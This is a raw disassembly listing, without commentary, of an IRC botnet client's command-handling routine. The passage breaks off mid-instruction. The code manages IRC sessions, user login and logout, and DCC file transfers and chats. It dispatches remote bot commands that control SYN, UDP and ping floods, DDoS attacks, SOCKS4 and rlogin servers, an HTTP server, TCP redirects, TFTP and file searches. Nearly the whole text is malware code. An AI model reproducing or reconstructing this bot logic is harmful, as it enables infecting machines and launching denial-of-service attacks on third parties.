loc_40C5D5 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40C97C cmp [ebp+var_90], ebx jz loc_40C97C push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_4189A0 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40C622: ; CODE XREF: sub_40C50A+14Aj mov eax, [ecx] cmp eax, ebx jz short loc_40C64E cmp byte ptr [eax], 2Dh jnz short loc_40C656 cmp [eax+2], bl jnz short loc_40C656 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40C64E: ; CODE XREF: sub_40C50A+11Cj dec edx sub ecx, 4 cmp edx, ebx jge short loc_40C622 loc_40C656: ; CODE XREF: sub_40C50A+121j ; sub_40C50A+126j cmp [ebp+var_9B5], bl jz short loc_40C661 mov [ebp+var_8], edi loc_40C661: ; CODE XREF: sub_40C50A+152j cmp [ebp+var_9BA], bl jz short loc_40C66F mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40C66F: ; CODE XREF: sub_40C50A+15Dj cmp byte ptr [esi], 0Ah jz short loc_40C6A9 push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_4191A0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D4] push eax call sub_4191A0 lea eax, [ebp+var_D4] push offset asc_43ED90 ; "!" push eax call sub_419890 add esp, 20h loc_40C6A9: ; CODE XREF: sub_40C50A+168j push esi push offset aPing ; "PING" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40C6FA push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_4083E7 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40C79E push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4083E7 add esp, 10h jmp loc_40C79E ; --------------------------------------------------------------------------- loc_40C6FA: ; CODE XREF: sub_40C50A+1AEj mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4127CE push esi push offset a005 ; "005" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4127CE push esi push offset a302 ; "302" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40C765 push offset a@ ; "@" push [ebp+var_88] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz short loc_40C79E inc eax push 9Fh push eax push [ebp+arg_1C] call sub_4191A0 add esp, 0Ch jmp short loc_40C79E ; --------------------------------------------------------------------------- loc_40C765: ; CODE XREF: sub_40C50A+22Fj push esi push offset a433 ; "433" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40C7A5 push ebx push dword_43E1C4 push dword_43E1C0 push [ebp+arg_10] call sub_4138AA push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_4083E7 add esp, 1Ch loc_40C79E: ; CODE XREF: sub_40C50A+1CFj ; sub_40C50A+1EBj ... mov eax, edi jmp loc_40C97F ; --------------------------------------------------------------------------- loc_40C7A5: ; CODE XREF: sub_40C50A+26Aj mov esi, [ebp+arg_18] mov [ebp+var_DC], 2 mov edi, 80h loc_40C7B7: ; CODE XREF: sub_40C50A+2D2j lea eax, [ebp+var_AA8] push eax push esi call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40C7D4 mov [ebp+var_B8], 1 loc_40C7D4: ; CODE XREF: sub_40C50A+2BEj add esi, edi dec [ebp+var_DC] jnz short loc_40C7B7 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40C8CB mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40C803: ; CODE XREF: sub_40C50A+386j cmp [esi], bl jz loc_40C88B push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_4191A0 lea eax, [ebp+var_D4] add esp, 0Ch test eax, eax jz short loc_40C88B cmp [ebp+var_88], ebx jz short loc_40C88B push [ebp+var_88] lea eax, [ebp+var_D4] push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40C88B lea eax, [ebp+var_D4] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_418D70 lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_4083E7 lea eax, [ebp+var_2DC] push eax call sub_4035E1 add esp, 20h loc_40C88B: ; CODE XREF: sub_40C50A+2FBj ; sub_40C50A+31Bj ... add esi, edi dec [ebp+arg_24] jnz loc_40C803 push [ebp+var_88] push [ebp+arg_10] call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40C97C push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_40C8BE: ; CODE XREF: sub_40C50A+5FCj ; sub_40C50A+8B2j ... push [ebp+arg_4] call sub_4083E7 jmp loc_411F52 ; --------------------------------------------------------------------------- loc_40C8CB: ; CODE XREF: sub_40C50A+2E9j push esi push offset aNick ; "NICK" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40CA16 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40C8F4: ; CODE XREF: sub_40C50A+43Cj lea eax, [ebp+var_AA8] push eax push esi call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40C941 lea eax, [ebp+var_AA8] push 21h push eax call sub_4199F0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40C941 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_419FA0 push [ebp+arg_1C] push edi call sub_419FB0 add esp, 10h mov edi, 80h loc_40C941: ; CODE XREF: sub_40C50A+3FBj ; sub_40C50A+412j add esi, edi dec [ebp+arg_0] jnz short loc_40C8F4 lea eax, [ebp+var_D4] test eax, eax jz short loc_40C97C cmp [ebp+arg_24], ebx jz short loc_40C97C push [ebp+arg_10] lea eax, [ebp+var_D4] push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40C984 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_4191A0 add esp, 0Ch loc_40C97C: ; CODE XREF: sub_40C50A+5Bj ; sub_40C50A+E8j ... push 1 loc_40C97E: ; CODE XREF: sub_40C50A+5D09j pop eax loc_40C97F: ; CODE XREF: sub_40C50A+296j ; sub_40C50A+2289j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40C984: ; CODE XREF: sub_40C50A+460j mov eax, [ebp+arg_18] xor esi, esi mov [ebp+arg_0], eax loc_40C98C: ; CODE XREF: sub_40C50A+4A5j mov eax, [ebp+arg_0] cmp [eax], bl jz short loc_40C9A8 lea eax, [ebp+var_AA8] push eax push [ebp+arg_0] call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40C9B3 loc_40C9A8: ; CODE XREF: sub_40C50A+487j add [ebp+arg_0], edi inc esi cmp esi, 2 jl short loc_40C98C jmp short loc_40C97C ; --------------------------------------------------------------------------- loc_40C9B3: ; CODE XREF: sub_40C50A+49Cj lea eax, [ebp+var_AA8] push 21h push eax call sub_4199F0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_40C97C push eax call sub_418E70 push [ebp+arg_24] mov edi, eax call sub_418E70 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_40C97C push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_10 ; ":%s%s" push esi call sub_418D70 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40842D add esp, 24h jmp loc_40C97C ; --------------------------------------------------------------------------- loc_40CA16: ; CODE XREF: sub_40C50A+3D0j push esi push offset aPart ; "PART" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40CA38 push esi push offset aQuit_0 ; "QUIT" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40CA68 loc_40CA38: ; CODE XREF: sub_40C50A+51Bj mov eax, [ebp+arg_18] xor esi, esi mov [ebp+arg_C], eax loc_40CA40: ; CODE XREF: sub_40C50A+556j mov eax, [ebp+arg_C] cmp [eax], bl jz short loc_40CA59 push [ebp+var_94] push eax call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40CAAA loc_40CA59: ; CODE XREF: sub_40C50A+53Bj add [ebp+arg_C], edi inc esi cmp esi, 2 jl short loc_40CA40 mov esi, [ebp+var_90] loc_40CA68: ; CODE XREF: sub_40C50A+52Cj push esi push offset a353 ; "353" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40CB0B push [ebp+var_84] push [ebp+arg_8] call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40CA9A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40CA9A: ; CODE XREF: sub_40C50A+585j push [ebp+var_84] push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s." jmp loc_4127C2 ; --------------------------------------------------------------------------- loc_40CAAA: ; CODE XREF: sub_40C50A+54Dj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2DC] push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out." push eax call sub_418D70 lea eax, [ebp+var_2DC] push eax call sub_4035E1 push [ebp+var_90] push offset aPart_0 ; "PART" call sub_419360 add esp, 18h test eax, eax jnz loc_40C97C lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_40C8BE ; --------------------------------------------------------------------------- loc_40CB0B: ; CODE XREF: sub_40C50A+56Dj push esi push offset aPrivmsg_0 ; "PRIVMSG" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40CB4E push esi push offset aNotice_0 ; "NOTICE" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40CB4E push esi push offset a332 ; "332" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_41263B cmp dword_43E1AC, ebx jz loc_41263B loc_40CB4E: ; CODE XREF: sub_40C50A+610j ; sub_40C50A+621j push esi push offset aPrivmsg_1 ; "PRIVMSG" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40CCDE push esi push offset aNotice_1 ; "NOTICE" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40CCDE mov eax, [ebp+var_88] inc [ebp+var_84] mov [ebp+var_BC], 4 mov [ebp+var_8C], eax loc_40CB94: ; CODE XREF: sub_40C50A+890j ; sub_40C50A+8C6j ... mov eax, [ebp+var_BC] mov esi, eax shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_43EF3C mov [ebp+arg_8], eax call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40CF7D push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40CE44 cmp [ebp+var_B8], ebx jz loc_40CE1A push [ebp+esi+var_8C] lea eax, [ebp+var_6F4] push offset aS_9 ; "%s" push eax call sub_418D70 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_10 ; "%s" push eax call sub_418D70 push [ebp+esi+var_84] call sub_4195F0 mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D4] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_4191A0 mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset aDccReceiveFile ; "[DCC]: Receive file: '%s' from user: %s"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_4161EB add esp, 44h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_404A02 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz loc_40CDFD loc_40CCC8: ; CODE XREF: sub_40C50A+7D2j cmp [ebp+var_560], ebx jnz loc_40CE3C push 32h call ds:dword_4942D8 jmp short loc_40CCC8 ; --------------------------------------------------------------------------- loc_40CCDE: ; CODE XREF: sub_40C50A+653j ; sub_40C50A+668j push esi push offset aNotice_2 ; "NOTICE" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40CCF6 mov [ebp+var_4], 1 loc_40CCF6: ; CODE XREF: sub_40C50A+7E3j mov esi, [ebp+var_8C] cmp esi, ebx jz loc_40C97C push offset asc_43EEF0 ; "#" push esi call sub_419AB0 pop ecx test eax, eax pop ecx jz short loc_40CD1A cmp [ebp+var_4], ebx jz short loc_40CD26 loc_40CD1A: ; CODE XREF: sub_40C50A+809j lea esi, [ebp+var_D4] mov [ebp+var_8C], esi loc_40CD26: ; CODE XREF: sub_40C50A+80Ej cmp [ebp+var_88], ebx jz loc_40C97C inc [ebp+var_88] jz short loc_40CD70 cmp [ebp+arg_10], ebx jz short loc_40CD70 lea eax, [ebp+var_928] push eax call sub_418E70 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_41B790 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_BC], eax jmp short loc_40CD76 ; --------------------------------------------------------------------------- loc_40CD70: ; CODE XREF: sub_40C50A+82Ej ; sub_40C50A+833j mov eax, [ebp+var_BC] loc_40CD76: ; CODE XREF: sub_40C50A+864j shl eax, 2 mov [ebp+arg_8], eax mov edi, [ebp+eax+var_94] cmp edi, ebx jz loc_40C97C push edi push offset dword_43EEF4 call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40CB94 cmp byte ptr [esi], 23h jz short loc_40CDC1 mov eax, dword_491D6C mov eax, off_43E26C[eax*4] cmp [eax], bl jz short loc_40CDC1 push eax push esi push offset dword_43EF00 jmp loc_40C8BE ; --------------------------------------------------------------------------- loc_40CDC1: ; CODE XREF: sub_40C50A+899j ; sub_40C50A+8A9j push edi push offset dword_43EF1C call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40CB94 mov eax, [ebp+arg_8] mov eax, [ebp+eax+var_90] cmp eax, ebx jz loc_40CB94 cmp byte ptr [esi], 23h jz loc_40CB94 push eax push esi push offset dword_43EF24 jmp loc_40C8BE ; --------------------------------------------------------------------------- loc_40CDFD: ; CODE XREF: sub_40C50A+7B8j call ds:dword_4942F0 push eax push offset aDccFailedToSta ; "[DCC]: Failed to start transfer thread,"... loc_40CE09: ; CODE XREF: sub_40C50A+A4Cj ; sub_40C50A+A5Dj ... lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE1A: ; CODE XREF: sub_40C50A+6DCj lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2DC] push [ebp+esi+var_8C] push offset aDccReceiveFi_0 ; "[DCC]: Receive file: '%s' failed from u"... push eax call sub_418D70 add esp, 10h loc_40CE3C: ; CODE XREF: sub_40C50A+7C4j ; sub_40C50A+90Ej ... push 1 pop esi jmp loc_40E784 ; --------------------------------------------------------------------------- loc_40CE44: ; CODE XREF: sub_40C50A+6D0j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40CF93 cmp [ebp+var_B8], ebx jz loc_40CF6C push 13h call sub_416433 test eax, eax pop ecx jnz loc_40CF5B push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_11 ; "%s" push eax call sub_418D70 push [ebp+esi+var_84] call sub_4195F0 mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D4] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_4191A0 mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2DC] push offset aDccChatFromUse ; "[DCC]: Chat from user: %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_4161EB add esp, 34h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40449C push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40CF4A loc_40CF34: ; CODE XREF: sub_40C50A+A3Ej cmp [ebp+var_560], ebx jnz loc_40CE3C push 32h call ds:dword_4942D8 jmp short loc_40CF34 ; --------------------------------------------------------------------------- loc_40CF4A: ; CODE XREF: sub_40C50A+A28j call ds:dword_4942F0 push eax push offset aDccFailedToS_0 ; "[DCC]: Failed to start chat thread, err"... jmp loc_40CE09 ; --------------------------------------------------------------------------- loc_40CF5B: ; CODE XREF: sub_40C50A+96Bj lea eax, [ebp+var_D4] push eax push offset aDccChatAlready ; "[DCC]: Chat already active with user: %"... jmp loc_40CE09 ; --------------------------------------------------------------------------- loc_40CF6C: ; CODE XREF: sub_40C50A+95Bj lea eax, [ebp+var_D4] push eax push offset aDccChatFailedB ; "[DCC]: Chat failed by unauthorized user"... jmp loc_40CE09 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40C50A+6B5j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_43E1B8 mov [edi], ecx jnz loc_40C97C loc_40CF93: ; CODE XREF: sub_40C50A+94Fj mov edi, [edi] push edi push offset aHi ; "hi" mov [ebp+arg_8], edi call sub_419360 pop ecx test eax, eax pop ecx jz loc_412643 push edi push offset aFr ; "Fr" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412643 cmp [ebp+var_B8], ebx jnz short loc_40CFE4 push [ebp+var_90] push offset a332_3 ; "332" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_41263B loc_40CFE4: ; CODE XREF: sub_40C50A+ABEj cmp [ebp+arg_28], ebx jnz loc_41263B xor edi, edi cmp dword_43E5BC, ebx jle loc_40D190 mov [ebp+arg_20], offset dword_44C2D8 loc_40D002: ; CODE XREF: sub_40C50A+B17j push [ebp+arg_8] push [ebp+arg_20] call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40D028 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_43E5BC jl short loc_40D002 jmp loc_40D190 ; --------------------------------------------------------------------------- loc_40D028: ; CODE XREF: sub_40C50A+B07j push offset asc_43F1F4 ; " :" push [ebp+arg_0] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz loc_40C97C mov cl, byte_43E1B8 imul edi, 0B8h mov [eax+2], cl mov cl, byte_43E1B8 mov [eax+3], cl lea ecx, dword_44C2F0[edi] push 9Fh add eax, 4 push ecx push eax call sub_4191A0 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40D07D: ; CODE XREF: sub_40C50A+C1Bj push [ebp+arg_20] lea eax, [ebp+var_B4] push offset aD ; "$%d-" push eax call sub_418D70 lea eax, [ebp+var_B4] push eax push [ebp+arg_0] call sub_419AB0 add esp, 14h test eax, eax jz short loc_40D0E9 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40D0E9 lea eax, dword_44C2D8[edi] push eax call sub_418E70 add [ebp+var_C], eax pop ecx jz short loc_40D11B mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz short loc_40D11B push eax lea eax, [ebp+var_B4] push eax push [ebp+arg_0] call sub_409842 add esp, 0Ch jmp short loc_40D11B ; --------------------------------------------------------------------------- loc_40D0E9: ; CODE XREF: sub_40C50A+B9Bj ; sub_40C50A+BA2j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40D11B lea eax, [ebp+var_B4] push 2 push eax lea eax, [ebp+var_14] push eax call sub_4191A0 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B4] push eax push [ebp+arg_0] call sub_409842 add esp, 18h loc_40D11B: ; CODE XREF: sub_40C50A+BB4j ; sub_40C50A+BC8j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40D07D lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40D138: ; CODE XREF: sub_40C50A+C7Aj push [ebp+arg_20] lea eax, [ebp+var_B4] push offset aD_0 ; "$%d" push eax call sub_418D70 lea eax, [ebp+var_B4] push eax push [ebp+arg_0] call sub_419AB0 add esp, 14h test eax, eax jz short loc_40D17B mov eax, [edi] cmp eax, ebx jz short loc_40D17B push eax lea eax, [ebp+var_B4] push eax push [ebp+arg_0] call sub_409842 add esp, 0Ch loc_40D17B: ; CODE XREF: sub_40C50A+C56j ; sub_40C50A+C5Cj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40D138 mov [ebp+var_D8], 1 loc_40D190: ; CODE XREF: sub_40C50A+AEBj ; sub_40C50A+B19j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_43E1B8 jz short loc_40D1A9 cmp [ebp+var_D8], ebx jz loc_40D392 loc_40D1A9: ; CODE XREF: sub_40C50A+C91j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_409842 lea eax, [ebp+var_D4] push eax push offset aUser_1 ; "$user" push edi call sub_409842 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_409842 push ebx push ebx lea eax, [ebp+var_B4] push 2 push eax call sub_4138AA push eax push offset aRndnick ; "$rndnick" push edi call sub_409842 add esp, 40h push [ebp+arg_14] push offset aServer ; "$server" push edi call sub_409842 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_419AB0 add esp, 14h loc_40D21B: ; CODE XREF: sub_40C50A+E01j test eax, eax jz loc_40D310 push offset aChr_0 ; "$chr(" push [ebp+arg_0] call sub_419AB0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B4] push eax call sub_4191A0 lea eax, [ebp+var_B4] push offset asc_43F23C ; ")" push eax call sub_419890 add esp, 1Ch cmp [ebp+var_B4], 30h jl short loc_40D26B cmp [ebp+var_B4], 39h jle short loc_40D281 loc_40D26B: ; CODE XREF: sub_40C50A+D56j push 3 lea eax, [ebp+var_B4] push offset a63 ; "63" push eax call sub_4191A0 add esp, 0Ch loc_40D281: ; CODE XREF: sub_40C50A+D5Fj lea eax, [ebp+var_B4] push eax call sub_4195F0 test eax, eax pop ecx jle short loc_40D2A4 lea eax, [ebp+var_B4] push eax call sub_4195F0 pop ecx mov [ebp+var_14], al jmp short loc_40D2B5 ; --------------------------------------------------------------------------- loc_40D2A4: ; CODE XREF: sub_40C50A+D86j call sub_419000 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40D2B5: ; CODE XREF: sub_40C50A+D98j lea eax, [ebp+var_B4] mov [ebp+var_13], bl push eax call sub_418E70 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B4] push ebx push eax call sub_4189A0 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B4] push [ebp+arg_10] push eax call sub_4191A0 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B4] push eax push [ebp+arg_0] call sub_409842 push edi push [ebp+arg_0] call sub_419AB0 add esp, 30h jmp loc_40D21B ; --------------------------------------------------------------------------- loc_40D310: ; CODE XREF: sub_40C50A+D13j mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_4191A0 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_4191A0 lea eax, [ebp+var_11B0] push offset asc_43F244 ; " " push eax call sub_419890 add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40D360: ; CODE XREF: sub_40C50A+E6Bj push offset asc_43F248 ; " " push ebx call sub_419890 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40D360 mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40C97C add ecx, 3 mov [eax], ecx loc_40D392: ; CODE XREF: sub_40C50A+C99j mov edi, [ebp+esi+var_94] push edi push offset aRndnick_0 ; "rndnick" mov [ebp+arg_8], edi call sub_419360 pop ecx test eax, eax pop ecx jz loc_4125EE push edi push offset aRn ; "rn" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4125EE push edi push offset aDie ; "die" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4125CC push edi push offset aD_1 ; "d" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4125CC push edi push offset aLogout ; "logout" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412502 push edi push offset aLo ; "lo" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412502 push edi push offset aVersion ; "version" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4124E4 push edi push offset aVer ; "ver" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4124E4 push edi push offset aSecure ; "secure" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4123D7 push edi push offset aSec ; "sec" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4123D7 push edi push offset aUnsecure ; "unsecure" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4123D7 push edi push offset aUnsec ; "unsec" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4123D7 push edi push offset aSocks4 ; "socks4" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4122B5 push edi push offset aS4 ; "s4" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4122B5 push edi push offset aSocks4stop ; "socks4stop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D4EB push [ebp+esi+var_90] push 11h push offset aServer_0 ; "Server" push offset aSocks4_0 ; "[SOCKS4]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D4EB: ; CODE XREF: sub_40C50A+FC7j push edi push offset aRloginstop ; "rloginstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D514 push [ebp+esi+var_90] push 6 push offset aServer_1 ; "Server" push offset aRlogind ; "[RLOGIND]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D514: ; CODE XREF: sub_40C50A+FF0j push edi push offset aHttpstop ; "httpstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D53D push [ebp+esi+var_90] push 3 push offset aServer_2 ; "Server" push offset aHttpd ; "[HTTPD]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D53D: ; CODE XREF: sub_40C50A+1019j push edi push offset aLogstop ; "logstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D566 push [ebp+esi+var_90] push 1Ch push offset aLogList ; "Log list" push offset aLog ; "[LOG]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D566: ; CODE XREF: sub_40C50A+1042j push edi push offset aRedirectstop ; "redirectstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D58F push [ebp+esi+var_90] push 10h push offset aTcpRedirect ; "TCP redirect" push offset aRedirect ; "[REDIRECT]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40C50A+106Bj push edi push offset aDdos_stop ; "ddos.stop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D5B8 push [ebp+esi+var_90] push 0Ah push offset aDdosFlood ; "DDoS flood" push offset aDdos ; "[DDoS]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D5B8: ; CODE XREF: sub_40C50A+1094j push edi push offset aSynstop ; "synstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D5E1 push [ebp+esi+var_90] push 0Bh push offset aSynFlood ; "Syn flood" push offset aSyn ; "[SYN]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D5E1: ; CODE XREF: sub_40C50A+10BDj push edi push offset aUdpstop ; "udpstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D60A push [ebp+esi+var_90] push 0Fh push offset aUdpFlood ; "UDP flood" push offset aUpd ; "[UPD]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D60A: ; CODE XREF: sub_40C50A+10E6j push edi push offset aPingstop ; "pingstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D633 push [ebp+esi+var_90] push 0Eh push offset aPingFlood ; "Ping flood" push offset aPing_0 ; "[PING]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D633: ; CODE XREF: sub_40C50A+110Fj push edi push offset aTftpstop ; "tftpstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D65C push [ebp+esi+var_90] push 4 push offset aServer_3 ; "Server" push offset aTftp ; "[TFTP]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D65C: ; CODE XREF: sub_40C50A+1138j push edi push offset aFindfilestop ; "findfilestop" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412286 push edi push offset aFfstop ; "ffstop" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412286 push edi push offset aProcsstop ; "procsstop" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412271 push edi push offset aPsstop ; "psstop" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412271 push edi push offset 